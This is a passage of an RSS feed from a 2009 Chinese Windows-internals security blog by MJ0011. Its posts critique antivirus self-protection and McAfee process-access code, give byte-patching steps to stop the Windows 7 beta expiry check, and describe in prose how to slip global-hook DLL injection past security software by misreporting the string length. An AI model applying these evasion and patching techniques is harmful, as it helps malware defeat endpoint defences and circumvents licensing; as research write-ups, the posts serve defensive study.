<p>绕过的漏洞应该不少，从功能上说，比较丰富，但是从防护强度上说，可能尚不如瑞星或微点。</p>
<p>由于过分依赖XXXX，所以面对MAX法很脆弱，这方面的攻击方法绕过COMODO的很多</p>
<p>自我保护不够完善，例如RING3下用MAX法绕过拦截，再用TerminateJob即可结束。</p>
<p>其中也有一些有意思的小技巧，例如hdc to hwnd，IoSetTopLevelIrp , CallHwndParamLock拦EnableWindow等。</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/afa02ac7e124a5d5d10060f6.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-16  22:39</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/afa02ac7e124a5d5d10060f6.html</guid>
</item>

<item>
        <title><![CDATA[防止WIN7 BETA过期蓝屏]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/b866d83de1ab73ce9f3d62b9.html]]></link>
        <description><![CDATA[
		
		<p>WIN7 BETA版本从7月1日开始，启动2小时后，就会蓝屏重启。</p>
<p>蓝屏代码为：0x00000098</p>
<p>参考WINDBG帮助文件中的解释：</p>
<h1><a name="t05_bugs_60_533bdabd-8713-4826-8e54-af72788452f5.xml"></a><font size="3">Bug Check 0x98: END_OF_NT_EVALUATION_PERIOD</font></h1>
<p>The END_OF_NT_EVALUATION_PERIOD bug check has a value of 0x00000098. This bug check indicates that the trial period for the Microsoft Windows operating system has ended.</p>
<p>如何不让其过期：</p>
<p>在ntoskrnl中搜索特征:68 68 02 00 c0</p>
<p>搜索到后向上搜索72 XX 38 YY (XX YY为任意值）</p>
<p>找到的地址假设为i,找到后将i+2的位置修改为jmp i+xx+2</p>
<p> </p>
<p> </p>
<p>实际是内核使用KeInitializeTimerEx创建了一个Timer，然后计算当前时间，到2小时，开始验证license。如果发现时间过期了，则先创建一个系统线程，通过ExRaiseHardError触发一个特殊的内核异常代码。然后再一次则调用PoShutdownBugCheck引发一个蓝屏关机</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/b866d83de1ab73ce9f3d62b9.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-09  19:31</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/b866d83de1ab73ce9f3d62b9.html</guid>
</item>

<item>
        <title><![CDATA[Windows Internals 5th入手~]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/d529e31fa45e2e6af624e4b4.html]]></link>
        <description><![CDATA[
		
		<div forimg="1">
<p> </p>
<p>感谢帮我买书的LP~</p>
<p> </p>
<p><a target="_blank" href="http://hiphotos.baidu.com/mj0011/pic/item/65cedc11f7131c37b8127b4b.jpeg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/mj0011/pic/item/65cedc11f7131c37b8127b4b.jpeg"></a></p>
<p> </p>
</div> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/d529e31fa45e2e6af624e4b4.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-08  18:25</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/d529e31fa45e2e6af624e4b4.html</guid>
</item>

<item>
        <title><![CDATA[Mcafee 8.0一处非常挫的地方]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/ace2b877d33c8b12b051b9cc.html]]></link>
        <description><![CDATA[
		
		<p>其on-access scan 服务进程McShield.exe，会在进程启动时通过on-access driver获取加载的进程，并进行扫描前，扫描前有一段非常挫的操作：</p>
<p>hproc = OpenProcess(<strong><font color="#ff0000">PROCESS_ALL_ACCESS</font></strong> , FALSE , pid);</p>
<p>....</p>
<p>NtQueryInformationProceess(hproc...)</p>
<p>...</p>
<p>CloseHandle(hproc);</p>
<p> </p>
<p>如果OpenProcess失败，则会在后面的操作出现一些问题，在进行一个APC注入时，导致目标进程崩溃~</p>
<p>这个问题在MCAFEE 8.5/8.7中修补了，直接拿掉了这段叫人哭笑不得的代码</p>
<p>所以说公司大了，什么垃圾人都有~写这代码的人完全没有一点编程基础啊。。。</p>
<p>另外mcafee 8.0在scan file时非要带上WRITE权限~ 真的很挫，不知道8.5改了没有~懒得看了。这些所谓的国外大厂商的产品，实际经不起大量用户的考验。</p>
<p>补充一下，趋势的一个类似的产品也有这个类似的问题~</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/ace2b877d33c8b12b051b9cc.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-03  21:15</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/ace2b877d33c8b12b051b9cc.html</guid>
</item>

<item>
        <title><![CDATA[一种绕过全局钩子安装拦截的思路]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/e915cbb4bf231a7a8ad4b22c.html]]></link>
        <description><![CDATA[
		
		<p>本文介绍了一种思路，利用安全软件驱动和WINDOWS本身处理全局钩子安装过程的不同，以绕过安全软件对全局钩子安装的拦截。这种方法并不保证能通用于任何安全软件。</p>
<p>安全软件，例如HIPS,AV等，通常会安装 NtUserSetWindowsHookEx / NtUserSetWinEventHook的钩子</p>
<p>拦截全局钩子注入，防止键盘、消息拦截或者DLL注入。</p>
<p>在这两个函数的参数中，都存在一个pstrlib参数，指向了要注册全局钩子的DLL路径名，这个路径是DOS路径名，通常安全软件会分配BUFFER，将pstrlib这个UNICODE_STRING中的字符串读取出来，再加上NT路径头 （\??\)，然后进行相关处理后传递给RING3的处理程序，比较常见的例如使用RtlCopyUnicodeString , 或者直接RtlCopyMemory(LocalName , pstrlib-&gt;Buffer , pstrlib-&gt;Length)</p>
<p>而WINDOWS函数自身，例如NtUserSetWindowsHookEx, NtUserSetWinEvnetHook,他们是怎么处理这个参数的呢？</p>
<p>实际上，这些函数最终会调用内部函数GetHmodTableIndex将DLL名加入一个ATOM Table中，并返回一个INDEX，记为为ihmod,等到CallNextHook2，或者分发winevent hook 时，通过 ihmod再取回这个index,得到DLL名，并通过User mode callback调用LoadLibrary加载这个DLL</p>
<p>GetHmodTableIndex则会调用一个UserAddAtom函数来将DLL名加入UserAtomTableHandle这个atom中。UserAddAtom这个函数接收的DLL名参数，是一个LPCWSTR类型的字符串，来自pstrlib-&gt;Buffer.UserAddAtom并不关心pstrlib-&gt;Length的长度。等到向RING3程序注入这个DLL时，调用xxxLoadHmodIndex中才在UserGetAtomName获取这个字符串后，通过调用RtlInitUnicodeString重新计算这个字符串的长度。</p>
<p>那么，很简单的方法就可以绕过安全软件的全局钩子拦截了:</p>
<p>(1).length 传入0，直接绕过检测</p>
<p>(2).buffer为c:\windows\system32\msctf.dllx</p>
<p>length传递为该字符串字节长度-sizeof(wchar)</p>
<p>也就是让安全软件得到错误的系统DLL名，实际注册的是其他的文件</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/e915cbb4bf231a7a8ad4b22c.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-02  18:55</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/e915cbb4bf231a7a8ad4b22c.html</guid>
</item>


</channel>
</rss>